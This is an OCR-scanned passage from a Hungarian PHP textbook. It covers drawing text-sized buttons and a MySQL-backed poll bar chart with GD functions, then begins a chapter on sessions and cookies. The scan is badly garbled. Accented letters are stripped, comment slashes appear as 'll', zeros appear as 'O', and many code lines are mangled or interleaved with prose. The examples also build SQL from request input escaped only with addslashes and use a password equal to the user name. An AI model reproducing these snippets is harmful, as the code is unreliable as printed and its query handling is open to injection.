$szelesseg_szoveg>$szelesseg_kep_margok_nelkul )

Ez a kd a szveg befogla/

kerete {bounding box) alapjn vizsglja a szveg mrett. A TrueType bettpusok kezels-

re hasznlhat egyik fggvnyt, az imagegetttfbbox ()-ot hasznljuk ehhez. A megfelel mret meghatrozsa utn TrueType bettpus {a pldban ez Arial, de brmelyiket vlaszthatjuk) s az imagettftext () fggvny hasznlatval fog juk a szveget a gombra rni. A szveg befoglal kerete az a legkisebb tglalap, amit a szveg kr tudunk rajzolni. A 22.6 brn ltharunk r pldt.

(O.O)Kattints ram
22.6 bra: A

befogla/ keret koordintit az alapvonalhoz viszonytva adjuk meg. Az origt (0, 0) jelli.

A befoglal keret mreteit az albbi fggvny meghvsval kapjuk meg:


$befoglalo_keret=imagettfbbox ($betumeret, O, $betutipus, $gomb_szoveg);

Ez a fggvnyhvs a kvetkezket jelenti:,.Mondd meg a $gomb_szoveg vltozban lv szveg mrett $betumeret mret, nulla fokos dls s Arial TrueType bettpus hasznlata esetn!" Jegyezzk meg, hogy a fggvnynek tnylegesen a bettpusr tartalmaz fjl elrsi tvonalt kell tadni! Jelen esetben ez a fjl ugyanabban a knyvtrban tallhat, mint a kd {ez az alaprtelmezett lehetsg), ezrt nem kellett hosszabb elrsi t vonalat meghatroznunk. A fggvny a befoglal keret sarkainak koordintit tartalmaz tmbbel tr vissza. A tmb tartalmt a 22.1 tblzat mutatja. 22.1 tblzat: Tmbndex
o l

22

A befogla/ keret koordintit tartalmaz tmb elemei


Tartalom bal als sarok x koordint:ija bal als sarok y koordintja jobb als sarok x koordintja jobb als sarok y koordintja jobb fels sarok x koordintja jobb fels sarok y koordinr:ija bal fels sarok x koordintja bal fels sarok y koordint:ija

2
3 4 5

6
7

A tmb tartalmt gy a legknnyebb megjegyezni, ha emlksznk r, hogy a szmozs a befoglal keret bal fels sarkbl indul, s az ramutat jrsval ellenttesen halad. Az egyeden trkks dolog az imagettfbbox() fggvny ltal visszaadott rtkekkel kapcsolatban az, hogy ezek az orighoz viszonytott koordintartkek. A kpek esetn hasznlt, a bal fels sarok hoz kpest viszonytott koordintkkal ellenttben azonban ezeket a szveg alapvonalhoz viszonytva kapjuk meg. Nzzk meg jbl a 22.6 brt! A betk talpnl egy vzszintes vonalat ltunk. Ezt hhjuk betk, rnint pldnkban ag, az alapvonal al nylnak. A betk ezen rszt

alapvonalnak {baseline). Egyes lefele nyl betszrnak {descender) nevezzk.

Ennek az alapvonalnak a bal szle az orig - vagyis az a pont, ahol az x s az y koordinta is O. Az alapvonal feletti pontok x koordint:ija pozitv, az alatta levk pedig negatv. A szveg radsul a befoglal kereten kivli koordintartkekkel is rendel kezhet. Knnyen elfordulhat pldul az, hogy a szveg kezdpontjnak -l az x koordintja. Mindez pusztn azt jelenti, hogy figyelmesen kell eljrni, amikor ezekkel az rtkekkel szmolunk. A kvetkezkppen szmoljuk a szveg szlessgt s magassgt:
$jobb_szoveg $bal szoveg
= =

$befoglalo_keret[2];

//jobb koordinta //bal koordinta //milyen szles? //milyen magas? - $befoglalo_keret[l]);

$befoglalo keret[O];

$szelesseg szoveg = $jobb_szoveg - $bal szoveg; $magassag_szoveg


=

abs($befoglalo_keret[7]

Ezen adatok birtokban tesztelhetjk a ciklus felttelt:

Kpek ellltsa

341

l while ( $betumeret>8

&&

$magassag szoveg>$magassag_kep_margok_nelkul );

l l

$szelesseg_szoveg>$szelesseg kep_margok_nelkul )

Kt felttelhalmazt vizsglunk. Az elsnl azt szeretnnk megllaptani, hogy mg olvashat-e a bet; 8 pontos betnl kisebbet nincs rtelme hasznlni, mert a szveg olvashatatlanul kicsi lesz. A msodik felttelhalmazzal azt vizsgljuk, hogy aszveg elfr-e a gomb rhat felletn.. Ezt kveten megnzzk, hogy sikerlt-e iteratv prblkozsainkkal megfelel betrnretet tallni, s ha nem, akkor hiba zenetben jelezzk ezt:
if ( $magassag_szoveg>$magassag_kep_margok nelkul

l l

$szelesseg_szoveg>$szelesseg_kep_margok_nelkul ) ll olvashat mretben nem fr r a szveg a gombra echo 'A megadott szveg nem fr r a gombra.<br l>';

A szveg elhelyezse
Ha eddig minden rendben ment, akkor kvetkez feladatunk a szveg kezdpontjnak meghatrozsa. Ez lesz a rendelkezsre ll tr kzppontj a.
Sszoveg x = $szelesseg_kepl2.0 - $szelesseg_szovegl2.0; Sszoveg_y = $magassag_kepl2.0 - $magassag_szovegl2.0;

22

Az alapvonalhoz viszonytott koordintarendszer bonyolultsga miatt korrekcis tnyezkre van szksgnk:


if ($bal_szoveg < 0) $szoveg_x += abs($bal szoveg); Sszoveg_alapvonal_felett ll bal oldali behzs meghatrozsa ll mennyivel az alapvonal felett?

abs($befoglalo keret[7]);

Sszoveg_y += $szoveg_alapvonal felett; $szoveg y -= 2;

ll alapvonal meghatrozsa

ll sablonunk alakjnak megfelel korrekc1

Ezek a korrekcis tnyezk figyelembe veszik az alapvonalat, s egy kis igaztst hajtanak vgre, mivel a szveg kiss"fejnehz:'

A szveg gombra rsa


Innen mr gyerekjtk az egsz. Belltjuk a szvegsznt, ami jelen esetben fehr lesz:
$feher = ImageColorAllocate ($kep, imagettftext ($kep, $betumeret, 255, 255, 255); $szoveg y, $feher, $betutipus,

Ezt kveten az imagettftext () fggvnnyel ratjuk a szveget a gombra: O,


$szoveg_x, $gomb_szoveg);

A fggvny szmos paramtert hasznl. Ezek sorrendben: a kpazonost, a pontokban meghatrozott betmret, a szveg dlsnek szge, kezdpontjnak x s y koordintja, szne, a bettpusr tartalmaz fjl, majd vgl a gombra rand szveg.

Megjegyzs: A bettpust tartalmaz fjlnak a kiszolg/n kell elrhetnek lennie,


hasznl kpknt fogja ltni a szveget.

a kliensgpen nincsen r szksg, mert a fel

Befejezs
Vgl megjelentjk a gombot a bngszben:
Header (ontent-type: imagepng ($kep); imagelpni l;

Itt az ideje, hogy felszabadtsuk az erforrsokat, s ezzel vgre rjnk a kdnak:


imagedestroy ($kep);

E n nyi! Ha minden rendben volt, akkor a 22.5 brn lv gombhoz hasonlt kell ltnunk bngsznkben.

342

22.fezet

brk s grafikonadatok rajzolsa


Az elz, gombokat elllt alkalmazsban meglv kpeket s szveget hasznltunk.Igazi rajzolsra mg nem lttunk pldt, kvetkezzk most ez! Pldnkban szavazst tarrunk honlapunk ltogati kztt, hogy megtudj uk, egy kpzeletbeli vlasztson kire voksolnnak. A szavazs eredmnyt MySQL adatbzisban troljuk, s kpkezel fggvnyek segtsgvel oszlopdiagramorr jelentjk meg. A diagramkszrs a msik nagy terlet, ahol ezeket a fggvnyeket ignybe vehetjk. Brmilyen adatot megjelenthetnk gy - rtkestsi eredmnyeket, ltogatottsgi adatokat vagy brmit, amit kedvnk tartja. A plda kedvrt nhny perc alatt ltrehozzuk a szavazas nev MySQL adatbzist. Egyeden tblbl ll, amelynek neve
szavazas_eredmenyek. A

j elolt oszlopban a jelltek nevt, a szavazatok_szama oszlopban pedig a rjuk leadott


szavazas

szavazatok szmt talljuk. Felhasznlt is ltrehozunk ehhez a

nev adatbzishoz, akinek jelszava szavazas

lesz.A tbla elgg magtl rtetd, a 22.3 pldakdban tallhat SQL kd furtatsval pedig egyszeren ltrehozhat. Meg tehetjk ezt, ha rendszergazdaknt (root) bejelentkezve az albbi utastst futtatjuk:
mysql -u root -p < szavazas_beallitasa.sql

Termszetesen brmilyen ms felhasznlt is hasznlhatunk, amennyiben az megfelel jogosultsgokkal rendelkezik. 22.3 pldakd: szavazas_beallitasa.sql- A szavazs adatbzisnak ltrehozsa
CREATE DATABASE szavazas; USE szavazas; CREATE TABLE szavazas_eredmenyek

22
);

jelolt VARCHAR(30), szavazatok szama INT

INSERT INTO szavazas_eredmenyek VALUES ('Kovcs Jnos', ('Nagy Mria', ('Kiss Istvn', 0),

0), 0)

GRANT ALL PRIVILEGES ON szavazas.* TO szavazas@localhost IDENTIFIED BY 'szavazas';

Az adatbzis hrom jelltet tartalmaz. A szavazfelletet a szavazas. html nev oldal knlja.Az oldal kdjt a 22.4 pldakd tartalmazza. 22.4 pldakd:
<html> <head> <title>Szavazs</title> <head> <body> <hl>Kzvlemny-kutats</hl> <p>Kire fog voksolni a vlasztsokon? </p> szavazas.h tml

Szavazfellet ltrehozsa a Jelhasznlk szmra

<form method="post" action="eredmenyek_megjelenitese.php"> <input type="radio" name="szavazat" value="Kovcs Jnos">Kovcs Jnos<br /> <input type="radio" name="szavazat" value="Nagy Mria">Nagy Mria<br /> <input type="radio" name="szavazat" value="Kiss Istvn">Kiss Istvn<br /><br /> <input type="submit" value="Eredmnyek megjelentse"> </form> </body> </html>

Kpek ellltsa

343

Az oldal kimenett a 22.7 brn ltjuk. A dolog lnyege, hogy amikor a felhasznl a kpernyn lthat gombra kattint, szavazatt hozzadjuk az adatbzishoz, lekrdezzk onnan az sszes szavazatot, majd oszlopdiagramorr megjelentjk a szavazs pillanatnyi llst. A 22.8 brn az gy kaport oszlopdiagramra lrunk pldt.

Kzvlemoy-kutnts
n..

................ 01... 0-0IOoo .....

....! ...

22.7 bra: A Jelhasznlk

leadhatjk szavazataikat, majd az .Eredmnyek megjelentse" gombra kattintva megjelentjk szmukra a szavazs pillanatnyi llst.

-"4-it.t7CE
A szavaz eredmMye

"'*'"*'"
NI!WM*" l(isslllVIIn

]"' ll'lb

22

22.8 bra: A

szavazs eredmnyt a rajzvszonra vonalakat s tglalapokat r<9zolva, illetve szveget rva jelentjk meg.

Viszonylag hossz kd szksges a diagram ellltsra. Ngy rszre bontotruk, hogy egyenknt tek.inthessk t ezeket. A kd nagy rsze ismers lesz, sok ehhez hasonl MySQL-es pldt ltrunk mr. Azt is tudjuk mr, hogyan festhetnk a rajz vszonra egyszn htteret, s hogyan rharunk r szveget. A kd j rszei a vonalak s tglalapok rajzolsval kapcsolatosak. Figyelmnket ezekre a rszekre fordtjuk. A ngy rszbl ll kd els rszt a 22.5.1 pldakd tartalmazza. 22.5.1 pldakd: eredmenyek_megjelenit ese. php

-Az l. rszfrissti a szavazs adatbzist, s lekrdezi az j eredm

nyeket
<?php

/*******************************************
Adatbzis lekrdezse a szavazsi adatok begyjtse rdekben

*******************************************/ ll szavazat begyjtse az rlaprl


$szavazat=$_REQUEST['szavazat'];

ll bejelentkezs az adatbzisba if (! $adatbazis kapcsolat


=

new mysqli ( 'localhost',

'szavazas',

'szavazas',

'szavazas'))

echo 'Nem sikerlt kapcsoldni az adatbzishoz<br />'; exit;

344

22. fejezet

if (!empty($szavazat)) ll ha az rlap ki van tltve, ll a felhasznl szavazatnak hozzadsa az adatbzishoz

$szavazat = addslashes($szavazat); $lekerdezes "update szavazas_eredmenyek set szavazatok szama = szavazatok szama + where jellt = '$szavazat'"; if (! ($eredmeny = @$adatbazis kapcsolat->query ($lekerdezes)))

echo 'Nem sikerlt kapcsoldni az adatbzishoz<br l>'; exit;

ll szavazs aktulis llsnak lekrdezse fggetlenl attl, szavazott-e $lekerdezes = 'select * from szavazas_eredmenyek'; if(!($eredmeny = @$adatbazis_kapcsolat->query($lekerdezes)))

hogy a felhasznl

22

echo 'Nem sikerlt kapcsoldni az adatbzishoz<br l>'; exit;

$jeloltek szama = $eredmeny->num_rows;

ll az eddigi sszes szavazat szmnak kiszmtsa $osszes szavazat=O; while ($sor = $eredmeny->fetch_object())

$osszes szavazat

+=

$sor->szavazatok szama;

$eredmeny->data_seek(0);

ll eredmnymutat visszalltsa

A 22.5.1 pldakdban lthat l. rszben kapcsoldunk a MySQL adatbzishoz, a felhasznl voksa alapjn frisstjk a sza vazatok szmt, majd lekrdezzk az el trolt eredmnyeket. Az adatok birtokban elkezdhetjk a diagram rajzolshoz szk sges szmtsokat. A 2. rszt a 22.5.2 pldakdban tallj uk.
22.5.2 pldakd: eredmenyek _megj elen itese. php-A 2. rsz bellga a diagram rajzolshoz szksges vltozkat
/******************************************* A diagramhoz szksges kiindul szmtsok *******************************************/ ll llandk belltsa putenv('GDFONTPATH=C:\WINDOWS\Fonts'); $szelesseg=500; $bal_margo = 50; $jobb_margo = 50; ll a kp szlessge kppontokban - a 640x480-ba frjen bele! ll a diagram bal oldaln resen hagyott hely ll ugyanez a jobb oldalon

$oszlop_magassaga = 40; $oszlopok_koze = $oszlop_magassagal2; $betutipus = 'arial'; $felirat_merete = 16; $nagy_meret= 12; $kis_meret= 12; ll pont

ll pont ll pont

Kpek ellltsa

345

$szoveg_behuzasa

10;

ll feliratok pozicionlsa a kp szltl

ll a rajzols kiindulpontjnak meghatrozsa


$x = $bal_margo + $y= 50; $oszlop egyseg 60;

ll a diagram alapvonalnak helye ll u.a. l 100; ll egy "pont" a diagramon

($szelesseg-($x+$jobb_margo}}

ll a diagram magassgnak kiszmtsa - oszlopok plusz trkz plusz marg


$magassag = $jeloltek_szama

* ($oszlop_magassaga + $oszlopok_koze} + 50;

A kd 2. rszben a diagram rajzolshoz szksges vltozkat llitjuk be. Kiss babramunknak tnhet mindezen vltozk kiszmtsa, de ha kicsit elre gondolkodva elkpzeljk, hogyan szeret nnk a ksz kpet elkszteni, azzal nagyban leegyszersthetjk a rajzols folyamatt. Az itt hasznlt rtkeket gy kaptuk meg, hogy egy darab paprra vzlatszeren felrajzoltuk a diagramot, majd megllaptorruk a megfelel arnyokat. A $szelesseg vltoz a hasznlt rajzvszon teljes szlessge. Bellg uk a bal s jobb margt (a Sbal_margo, il letve a $jobb_margo vltozval);
$oszlopok_koze ;
az

a bettpusr, a betmreteket s a felirat pozcijt ($betutipus, $felirat_merete, $nagy_ s $szoveg_behuzasa) .

oszlopok magassgt s az oszlopok kztti trkze ($oszlop_magassaga s

meret, Skis_meret

Ezen alaprtkek birtokban elvgezhegk a szksges szmtsokat. Rajzolni szeretnnk egy alapvonalat, amelytl az sszes oszlop indulni fog. Ennek helyt gy szmolhatjuk ki, hogy a bal marghoz hozzszmtjuk a feliratokhoz szksges helyet. Ha fontos a rugalmassg, szrnitsuk ki egyszeren a leghosszabb nv pontos szlessgt! Kt nagyon fontos rrket is Icikalkullunk:
$oszlop_egyseg
az

,.

els az oszlopokon egy egysget jelkpez tvolsg: l 100; ll egy "pont" a diagramon

22

($szelesseg-($x+$jobb_margo}}

Ez az oszlopok maximlis hossza mutat.

- az alapvonaltl a jobb margig - oszrva szzzal, mivel a diagram szzalkos rtkeket

A msodik rtk a rajzvszon magassga:


$magassag = $jeloltek_szama Ez az

* ($oszlop_magassaga + $oszlopok koze} + 50;

rtk alapveten

az

oszlopok magassga s az oszlopok kztti trkz sszegnek az oszlopok szmval val szorzata,

plusz nmi hely a cmnek. A 3. kdrszletet a 22.5.3 mintakdban talljuk. 22.5.3 pldakd: eredmenyek _megjelenitese.php A 3. rsz a diagramot kszti el az adatok hozzadsra

/*******************************************
Alapkp belltsa

*******************************************/ ll res rajzvszon ltrehozsa


$kep = imagecreatetruecolor($szelesseg,$magassag};

ll Sznek kivlasztsa
$feher=imagecolorallocate($kep,255,255,255}; $kek=imagecolorallocate($kep,0,64,128}; $fekete=imagecolorallocate($kep,O,O,O); $rozsaszin = imagecolorallocate($kep,255,78,243};

$szoveg_szine = $fekete; $szazalek_szine $hatterszin


= =

$fekete;

Sfeher;

$vonalszin = $fekete; $oszlop_szine $szamok_szine $kek; Srozsaszin;

ll "rajzvszon" ltrehozsa a rajzolshoz


imagefilledrectangle($kep,O,O,$szelesseg,$magassag,$hatterszin};

ll Krvonal rajzolsa a rajzvszon kr

346

22. fejezet

imagerectangle($kep,O,O,$szelesseg-l,$magassag-l,$vonalszin); ll Felirat hozzadsa $felirat = 'A szavazs eredmnye'; $felirat_meretei = @imagettfbbox($felirat_merete, O, $betutipus, $felirat); $felirat_hossza = $felirat_meretei[2] - $felirat_meretei[O]; $felirat_magassaga

abs($felirat_meretei[7] - $felirat_meretei[l]); ll x szerint kzpre igazts ll y szerint u.a.

$felirat_vonal felett = abs($felirat_meretei[7]); $felirat_x = ($szelesseg-$felirat_hossza)l2; $felirat_y = ($y - $felirat_magassaga)l2


+

$felirat_vonal_felett;

imagettftext($kep, $felirat_merete, O, $felirat_x, $felirat y, $szoveg szine, $betutipus, $felirat); ll Alapvonal rajzolsa kicsivel az els oszlop felett kezdve, ll kicsivel az als alatt befejezve imageline($kep, $x, $y-5, $x, $magassag-15, $vonalszin);

A 3. rszben belltjuk a kp alapjait, kivlasztjuk a szneket, majd elkezdjk rajzolni a diagramot. A grafikon httert az
imagefilledrectangle($kep,O,O,$szelesseg,$magassag,$hatterszin);

22

fggvnnyel tltjk ki. Az imagefilledrectangle () fggvny,ahogy paramtereibl is ltszik, sznnel kitlttt htteret rajzol. Az els param ter-ahogy azt mr megszokhattuk-a kp azonostja. Ezt kveten a tglalap kezd- s vgpontjnak x s y koordint:ijt kell megadnunk. Ez a kt pont a tglalap bal fels,illetve jobb als sarknak felel meg. Jelen esetben a teljes rajzvsznat kiclt jk az utols paramterben radott httrsznnel {pldnkban fehrrel). Ezutn az
imagerectangle($kep,O,O,$szelesseg-l,$magassag-l,$vonalszin);

fggvnyt meghvva fekete krvonalat rajzolunk a rajzvszon szle kr. Ez a fggvny kitlts nlkli, krvonallal rendel kez tglalapot rajzol. Paramcerei megegyeznek az elbb ltott msik fggvnyveL Figyeljnk fel arra,hogy a tglalapot a $szelesseg-l s $magassag-l koordintig rajzoljuk-egy $szelesseg szlessg s $magassag magassg rajz vszon idig tart. Ha a $szelesseg s $magassag koordintj pontig rajzolnnk a tglalapot,az kvl esne a rajzvsznon. Ugyanazt a logikt kvetjk, s ugyanazokat a fggvnyeket hasznljuk, mint amikor az elz kdrszletben kzpre igaz tottuk s a diagramra rtuk annak feliratt. Vgezetl az albbi fggvnnyel megrajzoljuk az oszlopok alapvonalt:
imageline($kep, $x, $y-5, $x, $magassag-15, $vonalszin);

Az imageline () fggvny a $vonalszin vltozban meghatrozott szn vonalat rajzol a megadott kpen {$kep) an nak kt koordintja,jelen esetben a {$x, $y-5 ) s a {$x, $magassag-15 ) pont kztt. Pldnkban az alapvonalat kicsivel az els oszlop fltt kezdjk meg, s egy kicsivel a rajzvszon alja fltt r vget. Kszen llunk arra, hogy betltsk az adatokat a diagramba. A kd 4. rszlett a 22.5.4 pldakdban talljuk.
22.5.4 pldakd: eredmenyek_megj eleni tese. php-A 4.

rsz berajzalja a diagramra az eredmnyeket, s befejezi a kppel

vgzett munkt
/******************************************* Eredmnyek berajzolsa a diagramra *******************************************/ ll Adatok kiolvassa az adatbzisbl s a megfelel oszlopok megrajzolsa while ($sor = $eredmeny->fetch_object()) if ($osszes szavazat > 0) $szazalek else $szazalek O; intval(($sor->szavazatok_szamal$osszes szavazat)*lOO);

Kpek ellltsa

347

ll szzalkos rtk megjelenitse $szazalek_meretei


=

@imagettfbbox($nagy_meret,

O,

$betutipus,

$szazalek.'%');

$szazalek_hossza = $szazalek_meretei[2] - $szazalek_meretei[O]; imagettftext($kep, $nagy_meret, O, $szelesseg-$szazalek_hossza-$szoveg_behuzasa, $szazalek szine, $betutipus, $szazalek. '%');

$y+($oszlop_magassagal2),

ll az rtkhez tartoz oszlop hossza $oszlop_hossza =$x + ($szazalek * $oszlop egyseg); ll az rtkhez tartoz oszlop megrajzolsa imagefilledrectangle($kep, szine); ll az rtkhez tartoz felirat megjelenitse @imagettftext($kep, $nagy_meret, O, $szoveg_behuzasa, $y+($oszlop_magassagal2), $x, $y-2, $oszlop_hossza, $y+$oszlop_magassaga, $oszlop_

$szoveg_szine,

$betutipus,

"$sor->jelolt");

ll 100%-ot mutat krvonal berajzolsa imagerectangle($kep, $oszlop_hossza+l, $y-2, $y+$oszlop_magassaga, $vonalszin);

($x+(l00*$oszlop_egyseg)), ll szmok megjelenitse @imagettftext($kep, magassagal2), $szamok_szine, $betutipus, $kis_meret, 0,

22
$x+(100*$oszlop_egyseg)-50, $y+($oszlop_ $sor->szavazatok_szama. 'l' .$osszes szavazat);

ll tovbblps a kvetkez oszlopra $y=$y+($oszlop_magassaga+$oszlopok_koze);

/ *******************************************
Kp megjelenitse ******************************************* / Header('Content-type: imagepng($kep); imagelpng');

/ *******************************************
Erforrsok felszabadtsa ******************************************* / imagedestroy($kep);

?> A 4. rsz egyenknt vgigmegy az adatbzisban szerepl jellteken, kiszmrja a rjuk adott voksok szzalkos rtkr, majd megrajzolja az oszlopokat s a hozz:ijuk tartoz feliratokat. Megint csak az imagettftext () fggvnnyel ksztjk el a feliratokat, s az imagefilledrectangle() fggvnnyel rajzoljuk meg az oszlopokat (amelyek kitltssei rendelkez tglalapok):
imagefilledrectangle($kep, $x, $y-2, $oszlop_hossza, $y+$oszlop_magassaga, $oszlop_szine);

A 100

szzalkot jelz krvonalakat az imagerectangle() fggvnnyel rajzoljuk meg:


$oszlop hossza+l, $y-2, $y+$oszlop_magassaga, $vonalszin); ($x+(100*$oszlop_egyseg)),

imagerectangle($kep,

Miutn az sszes oszloppal elkszltnk, az imagepng () fggvnnyel megjelentjk a kp kimenett, majd az imagedestroy () meghvsval felszabadtjuk az erforrsokat.

348

22. fejezet

Ezt a hossz kdot knnyedn mdosthatjuk sajt ignyeinknek megfelelen, illetve hasznlhatjuk arra, hogy felhasznli felleten keresztl automatikusan lltsunk el szavazsokat. Fontos megemlteni ugyanakkor, hogy a kd semmilyen md szerrel nem akadlyozza meg az emberi csalst. A felhasznlk knnyen r:ijhemek, hogy jra meg jra szavazhatnak, s gy knnyen rtelmedenn tehetik az egsz voksolst. Hasonl megkzeltssel - s nmi matematikai rzkkel - vonal- vagy akr krdiagramokat is rajzolharunk.

Tovbbi kpkezel fggvnyek hasznlata


A fejezetben megismert fggvnyek mellett szmos msikat ignybe vehetnk a kpekkel vgzett munknkhoz. A programo zsi nyelvekkel val rajzolshoz nem kevs idre s prblkozsra van szksg. rdemes minden esetben azzal kezdeni, hogy vzlatot ksztnk arrl, amit rajzolni szeretnnk, majd az online kziknyvben utnanznk a kvnt eredmny elrshez szksges fggvnyeknek.

Tovbbi olvasnival
Az interneten temrdek anyagat tallunk a tmban. Ha problmba tkznk a kpkezel fggvnyek alkalmazsa sorn, rdemes lehet tnzni a GD dokumentcijt, mert a PHP fggvnyei ennek a knyvtrnak a burkoli (w rapper). A GD do kumentcija a http://www.libgd.org/Documentation oldalon rhet el. Ne feledjk azonban, hogy a GD2 PHP-s verzija az alapknyvtr mdostott vltozata, gy egyes rszletekben eltrhet attl!

22

A grafikai alkalmazsok klnbz tpusairl kvl oktatanyagokat tallunk a Zend s a Devshed oldaln (http://www. zend.com, illetve (http://devshed.com). A fejezetben ltott oszlopdiagramos alkalmazs tlett a Steve Maranda ltal rt, a Devshed oldaln elrhet dinamikus oszlopdiagram-kszt kd adta.

Hogyan tovbb?
A kvetkez fejezetben a PHP munkamenet-vezrl funkciival ismerkednk meg.

23
Munkamenet--vezrls PHP--ben
A fejezetben a munkamenet-vezrls PHP-beli mkdst ismerhetjk meg. Az albbi fbb tmakrkkel foglalkozunk:

Mi a munkamenet-vezrlsr Stik Munkamener belltsnak lpsei Munkamenet-vltozk Munkamenet s hitelests

Mi a munkamenetvezrls?
Bi2:onyra hallottuk mr a megllaptst, amely szerint a.,HTTP llapot nlkli protokoll:' Ez azt jelenti, hogy a protokoll nem rendelkezik beptett mdszerrel a brmely kt tranzakci kztti llapot fenntartsra. Amikor valamely felhasznl lekr egy oldalt, majd utna egy msikat, a HTTP nem teszi lehetv szmunkra, hogy megllaptsuk vajon mindkt krs ugyanattl
a

felhasznltl rkezett-e.
A munkamenet-vezrls alapgondolata, hogy adott weboldalon vgbemen egyetlen munkamenet (session) alatt kpesek

legynk nyomon kvetni a felhasznlt. Ha ezt meg tudjuk tenni, akkor egyszeren megoldhat az is, hogy a felhasznl be jelentkezse urn a jogosultsgi szintjnek vagy szemlyes preferencijnak megfelel tartalmat jelentsk meg szmra. Figye lemmel kvetherjk a felhasznl viselkedst, s meg tudjuk valstani pldul az online kosr funkcit.
A PHP a 4-es verzi ta natv munkamenet-kezel fllggvnyekkel rendelkezik. A szupergloblis vltozk bevezetsvel

kiss mdosult a munkamenet-vezrls megkzeltse, mivel ehhez immr a$_SESSION szupergloblis vltoz is rendelkez snkre ll.

A munkamenet alapjai
A PHP egyedi munkamenet-azonostval (session
a

ID)

kezeli a munkameneteket. Ezt a kriptogrfiailag vletlenszer szmot

PHP lltja el, majd a kliensoldalon troldik el a munkamenet.,lettartam' alatt. Trolhar a felhasznl szmtgpn
A munkamener-azonost lehetv teszi klnleges, gynevezett munkarnenet-vltozk (session variable) regisztrlst. Ezek

sriknr, de URL-ekkel is tadhat. rarralmt a kiszolgln troljuk, a kliensoldalrl lthat egyetlen informci a munkamenet-azonost. Ha az oldalunkhoz trtn kapcsolds ideje alatt a munkamenet-azonost stibl vagy URL-bl elrhet, akkor az adott munkamenethez tar toz, a kiszolgln trolt munkamenet-vltozkhoz is hozzfrnk. Ezek alaprtelmezsben egyszer fjlknt vannak trolva
a

s2:erveren. (Ha hajlandk vagyunk megrni sajt fggvnyeinket, az egyszer fjlok helyett adatbzist is hasznlhatunk; errl Minden bizonnyal tallkoztunk mr a munkamenet-azonostt az URL-ben trol weboldalakkal. Amennyiben URL-nk

bvebben a Munkamenet-vezrls belltsa cm rszben beszlnk majd.) vletlenszernek tn karakterlncot tartalmaz, nagy valsznsggel valamilyen munkamenet-vezrlssel llunk szemben.
A stik ettl eltr megoldst knlnak az llapor tranzakcik kztti fenntartsra, radsul az URL-ek egyszersgt is meg

rzik.

Mi astU
A sti (cookie) olyan ks informcicsomag, amit kdjaink a kliensoldali gpen trolnak. A felhasznl gpn gy llthatunk

be stit, hogy az albbi formtum adatokat tartalmaz HTTP fejlcet kldnk nek:
Set-Cookie:
NEV=ERTEK; [expires=DATUM;] [path=ELERESI UTVONAL;] [domain=DOMAIN_NEV;] [secure]

350

23. fejezet

Ez a fejlc egy NEV nev, ER TEK rtk stit hoz ltre. Az sszes tbbi paramter opcionlis. Az elrhet, amg a felhasznl vagy mi magunk manulisan ki nem trljk azt.) A URL-eket llthatjuk be, amelyekre a sti vonatkozik. A kapcsolaton keresztl fogjuk kldeni.
secure path

expires

mezben azt

az idpontot llthatjuk be, amely utn a sti mr nem hasznlhat. (Ha nem llrunk be lejrari idpontot, a sti mindaddig s a
dornai n

belltssal azokat az

kulcssz azt eredmnyezi, hogy a stit nem egyszer HTTP

Amikor a bngsz egy URL-hez csatlakozik, elszr helyileg trolt stiket keres. Ha azok brmelyike az aktulisan hasz nlt URL-hez ktdik, akkor visszakldi ket a kiszolglnak.

Stik belltsa PHP-bl


A stiket a setcookie () fggvnnyel sajt kezleg llthatjuk be PHP-bl. A fggvny prototpusa a kvetkez:
bool setcookie (string nev

[,

string ertek

[,

int lejarat

[,

string eleresi utvonal

[,

string domain

[,

int secure]]]]])

A paramterek egy az egyben a Set-Coo kie fejlcnl emltetteknek felelnek meg. Ha az albbi utastssal bellrunk egy stit:
setcookie ('sajat_suti', 'ertek');

akkor, amikor a felhasznl megltogatja weboldalunk kvetkez lapjt (vagy jra betlti az aktulis oldalt), a $_COOKIE [
'sajat_suti' l

vltozval rhetjk el a stit.


setcookie()

Trlni gy tudunk stit, hogy a

fggvnyt ugyanazzal a nvvel, de mltbeli lejrati idvel hvjuk meg.

A stiket a header () fggvnnyel is bellthatjuk, ha a fggvnyben az elbb mr ismertetett szintaktikt hasznljuk. Fon tos, hogy a stifejlceket minden ms fejlc eltt kldjk el, msklnben nem fognak mkdni a stik. (Ez a korltozs a stik, nem pedig a PHP mkdsbl addik.)

Stik hasznlata munkamenetekkel


A stik hasznlata a kvetkez problmkat veti fel: nem minden bngsz fogadja a stiket, illetve egyes felhasznJk kikap

23

csolhatjk ket bngszjkben. Rszben emiatt a PHP munkamenetek a sti/URL ketts mdszert hasznljk. (A mdszert rvidesen bemutatjuk.) PHP munkamenetek alkalmazsa esetn nem kell a stiket sajt kezleg belltani, mert a munkamenet-fggvnyek elvg zik helyettnk a feladatot. A session_get_cookie_params () tartalmr. A fggvny az elettartam, A stik paramtereit a fggvnnyel is bellthatj uk.
session set_cookie_params($elettartam, _ $eleresi_utvonal, $domain

fggvnnyel tekinthetjk meg a stinek a munkamenet-vezrls ltal belltott s


secure

eleresi_utvonal, domain

elemet tartalmaz tmbt ad vissza.


[,
$secure]);

Ha szeretnnk tbbet megtudni a stikrl, olvassuk el a Netscape oldaln elrhet specifikcit: http://wp.netscape.com/ newsref/std/cookie_spec.html! (Ne foglalkozzunk azzal, hogy a dokumentum elzetes specifikcinak nevezi nmagt! Ez
1995 ta gy van, s a dokumentum ennl mr csak akkor lenne kzelebb ahhoz, hogy szabvnynak hvjuk, ha tnylegesen

szabvny volna!)

Munkamenet-a:z;onost trolsa
A PHP alaprtelmezsben munkamenetekkel hasznlja a stiket. Ha lehetsges, sti jn ltre a munkamenet-azonost trolsra. A msik lehetsges mdszer a munkamenet-azonost hozzadsa az URL-hez. Bellthat, hogy sti ltrehozsa helyett automatikusan ez trtnjen; ehhez be kell kapcsolnunk a ph p. ini fjlban a session.u se_ trans_sid direktvt (alapr telmezsben ez ki van kapcsolva). Bekapcsolsval azonban vatosan kell bnnunk, mert nveli az oldal biztonsgi kockzatt. Ha bekapcsoljuk a direktvt, a felhasznl e-mailben msoknak is elkldheti a munkamenet-azonostt tartalmaz URL-t, az URL-t nyilvnosan elrhet szmtgp is eltrolhatja, illetve egy ilyen gp bngszjnek elzmnyei vagy knyvjelzi kztt is elrhet lehet. A munkamenet-azonostt manulisan is begyazhatjuk a hivatkozsokba. Az azonostt a SID konstans trolja. Manulis tadshoz a
GET

paramterhez hasonlan adjuk hozz ezt a konstanst a link vghez:


?>">

<A HREF="link.php?<?php echo strip_tags(SID);

(A strip_tag s() fggvny fenti hasznlatval elkerlhetjk a cross-site scripting

(XXS) tmadsokat.)

